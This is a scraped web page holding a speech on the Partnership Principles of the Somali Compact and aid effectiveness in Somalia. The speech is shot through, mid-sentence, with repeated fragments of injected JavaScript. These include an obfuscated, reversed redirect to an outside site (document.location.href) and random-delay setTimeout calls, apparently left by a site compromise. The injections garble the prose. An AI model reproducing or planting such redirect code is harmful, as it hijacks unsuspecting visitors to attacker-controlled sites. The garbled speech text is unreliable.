Kani Torun for the introduction and you all for participating in this important meeting focused on Somalia’s future.

The Partnership Principles are mutual commitments outlined in the Somali Compact made by the government and development partners dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}todom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);} improve the effectiveness of aid in Somalia. The importance of these Principles is that whereas the Peace building and State building Goals (PSGs) identify what should be done, the Partnership Principles outline how the government and development partners should work dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}todom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}gether dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}todom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);} achieve the required development results for our countries progress.

Partnership Principles are a step in the right direction as the government and development partners are slowly transforming the way they do business in Somalia. While this new partnership was forged under the Somali Compact, the structures and procedures for coordination and improved aid effectiveness have built a foundation for partnership going forward.

The Partnership Principles are improving the Aid Architecture. Considering that the main coordination structures prior dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}todom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);} the Somali Compact focused primarily on humanitarian assistance, I think we can all be proud of the relative speed at which the aid architecture for coordinating political, security and development efforts have been established.

The Compact

Mutual Accountability

My final point is concerns the importance of mutual accountability dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}todom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);} make development projects effective in Somalia.

The Partnership Principles spelled out that the Compact focused primarily on what development partners should do differently dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}todom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);} improve aid effectiveness. However, through our joint work on Use of Country Systems, the government and development partners have been able dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}todom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);} develop a joint roadmap defining mutual commitments by both development partners and government.

Improved partnership entails much more than use of the treasury by development partners or government performance on financial management. The aid effectiveness principles of alignment, transparency, and ownership are all critical elements while upholding political commitments and foundational values (e.g. human rights and gender equity) act as enablers for greater use of country systems.

In conclusion, I’d like dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}todom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);} highlight three key lessons:

  • First, we can only improve coordination when we communicate regularly and effectively – the SDRF has provided us with the platform for that communication
  • Second, our joint planning needs dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}todom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);} be consultative and realistic, based on a clear prioritization of needs and an understanding of available resources
  • Third, we make more progress dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}todom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}gether when we identify and track mutual commitments – both by the government and development partners.

It is clear that Somalia is slowly but surely turning the corner dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}todom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}wards stability and progress.
